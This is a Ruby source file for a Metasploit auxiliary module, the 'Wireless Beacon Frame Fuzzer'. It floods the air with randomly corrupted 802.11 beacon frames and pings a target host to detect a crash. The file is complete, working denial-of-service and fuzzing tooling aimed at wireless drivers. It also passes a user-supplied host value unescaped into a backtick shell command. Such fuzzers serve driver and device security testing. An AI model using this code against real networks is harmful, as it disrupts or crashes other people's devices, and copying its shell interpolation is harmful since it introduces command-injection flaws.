135 lines
2.8 KiB
Ruby
135 lines
2.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Lorcon
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Wireless Beacon Frame Fuzzer',
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'Description' => %q{
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This module sends out corrupted beacon frames.
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$'
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))
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register_options(
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[
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OptString.new('ADDR_DST', [ true, "The MAC address of the target system",'FF:FF:FF:FF:FF:FF']),
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OptString.new('PING_HOST', [ false, "Ping the wired address of the target host"])
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], self.class)
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end
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def ping_check
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1.upto(3) do |i|
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x = `ping -c 1 -n #{datastore['PING_HOST']}`
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return true if x =~ /1 received/
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if (i > 1)
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print_status("Host missed a ping response...")
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end
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end
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return false
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end
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def run
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srand(0)
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@@uni = 0
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frames = []
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open_wifi
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print_status("Sending corrupt frames...")
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while (true)
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frame = create_frame()
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if (datastore['PING_HOST'])
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if (frames.length >= 5)
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frames.shift
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frames.push(frame)
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else
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frames.push(frame)
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end
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1.upto(3) do
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wifi.write(frame)
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if (not ping_check())
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frames.each do |f|
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print_status "****************************************"
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print_status f.inspect
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end
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return
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end
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end
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else
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wifi.write(frame)
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end
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end
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end
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def create_frame
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mtu = 1500 # 2312 # 1514
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ies = rand(1024)
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ssid = Rex::Text.rand_text_alphanumeric(rand(256))
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bssid = Rex::Text.rand_text(6)
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seq = [rand(255)].pack('n')
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frame =
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"\x80" + # type/subtype
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"\x00" + # flags
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"\x00\x00" + # duration
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"\xff\xff\xff\xff\xff\xff" + # dst
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bssid + # src
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bssid + # bssid
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seq + # seq
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Rex::Text.rand_text(8) + # timestamp value
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"\x64\x00" + # beacon interval
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#"\x00\x05" + # capability flags
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Rex::Text.rand_text(2) +
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# ssid tag
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"\x00" + ssid.length.chr + ssid +
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# supported rates
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"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
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# current channel
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"\x03" + "\x01" + channel.chr
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1.upto(ies) do |i|
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max = mtu - frame.length
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break if max < 2
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t = rand(256)
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l = (max - 2 == 0) ? 0 : (max > 255) ? rand(255) : rand(max - 1)
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d = Rex::Text.rand_text(l)
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frame += t.chr + l.chr + d
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end
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return frame
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end
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end
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